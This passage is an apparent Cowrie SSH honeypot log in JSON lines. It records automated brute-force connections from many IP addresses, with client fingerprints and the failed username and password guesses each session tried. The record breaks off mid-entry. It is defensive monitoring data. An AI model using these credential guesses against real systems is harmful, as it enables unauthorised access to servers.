{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:16:03.761184Z","src_ip":"194.113.233.25","session":"46cc501be0ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:16:03.852815Z","src_ip":"194.113.233.25","session":"46cc501be0ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveless","message":"login attempt [root/loveless] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:16:04.142013Z","src_ip":"194.113.233.25","session":"46cc501be0ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:16:05.237588Z","src_ip":"194.113.233.25","session":"46cc501be0ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":39170,"dst_ip":"10.17.0.5","dst_port":22,"session":"3621a638cb50","protocol":"ssh","message":"New connection: 170.106.115.61:39170 (10.17.0.5:22) [session: 3621a638cb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:16:28.441308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:16:28.448895Z","src_ip":"170.106.115.61","session":"3621a638cb50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:16:28.518982Z","src_ip":"170.106.115.61","session":"3621a638cb50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2025","message":"login attempt [root/Welcome2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:16:28.828032Z","src_ip":"170.106.115.61","session":"3621a638cb50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:16:29.906599Z","src_ip":"170.106.115.61","session":"3621a638cb50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":35824,"dst_ip":"159.203.135.109","dst_port":22,"session":"e44ebffa0f85","protocol":"ssh","message":"New connection: 43.156.17.27:35824 (159.203.135.109:22) [session: e44ebffa0f85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:16:39.745975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:16:39.751376Z","src_ip":"43.156.17.27","session":"e44ebffa0f85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:16:39.997010Z","src_ip":"43.156.17.27","session":"e44ebffa0f85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@Admin","message":"login attempt [root/123@Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:16:41.012560Z","src_ip":"43.156.17.27","session":"e44ebffa0f85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:16:42.261360Z","src_ip":"43.156.17.27","session":"e44ebffa0f85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":57094,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f30d88df176","protocol":"ssh","message":"New connection: 165.154.227.158:57094 (159.203.135.109:22) [session: 9f30d88df176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:03.356124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:03.365397Z","src_ip":"165.154.227.158","session":"9f30d88df176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:03.575001Z","src_ip":"165.154.227.158","session":"9f30d88df176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manager","password":"admin123","message":"login attempt [manager/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:04.446990Z","src_ip":"165.154.227.158","session":"9f30d88df176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:05.660994Z","src_ip":"165.154.227.158","session":"9f30d88df176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":48486,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd31abe0a494","protocol":"ssh","message":"New connection: 193.32.162.151:48486 (159.203.135.109:22) [session: dd31abe0a494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:12.877526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:12.882544Z","src_ip":"193.32.162.151","session":"dd31abe0a494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:12.985177Z","src_ip":"193.32.162.151","session":"dd31abe0a494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nadiah","password":"nadiah","message":"login attempt [nadiah/nadiah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:13.301235Z","src_ip":"193.32.162.151","session":"dd31abe0a494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:14.407379Z","src_ip":"193.32.162.151","session":"dd31abe0a494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":38862,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce66c49eaa5c","protocol":"ssh","message":"New connection: 170.106.115.61:38862 (10.17.0.5:22) [session: ce66c49eaa5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:35.266206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:35.274574Z","src_ip":"170.106.115.61","session":"ce66c49eaa5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:35.343368Z","src_ip":"170.106.115.61","session":"ce66c49eaa5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git@2025","message":"login attempt [git/git@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:35.650527Z","src_ip":"170.106.115.61","session":"ce66c49eaa5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":52414,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbf486197d39","protocol":"ssh","message":"New connection: 103.27.238.114:52414 (159.203.135.109:22) [session: fbf486197d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:36.573617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:36.577020Z","src_ip":"103.27.238.114","session":"fbf486197d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":47316,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4bcadc46ad6","protocol":"ssh","message":"New connection: 103.75.183.219:47316 (10.17.0.5:22) [session: f4bcadc46ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:36.677685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:36.682142Z","src_ip":"103.75.183.219","session":"f4bcadc46ad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:36.722067Z","src_ip":"170.106.115.61","session":"ce66c49eaa5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:36.848878Z","src_ip":"103.27.238.114","session":"fbf486197d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:36.926904Z","src_ip":"103.75.183.219","session":"f4bcadc46ad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19911991","message":"login attempt [root/19911991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:37.661337Z","src_ip":"103.75.183.219","session":"f4bcadc46ad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5555","message":"login attempt [root/5555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:37.665313Z","src_ip":"103.27.238.114","session":"fbf486197d39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:38.907770Z","src_ip":"103.75.183.219","session":"f4bcadc46ad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:38.938856Z","src_ip":"103.27.238.114","session":"fbf486197d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":52112,"dst_ip":"10.17.0.5","dst_port":22,"session":"d329dc83df87","protocol":"ssh","message":"New connection: 37.233.85.71:52112 (10.17.0.5:22) [session: d329dc83df87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:43.727376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:17:43.731687Z","src_ip":"37.233.85.71","session":"d329dc83df87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","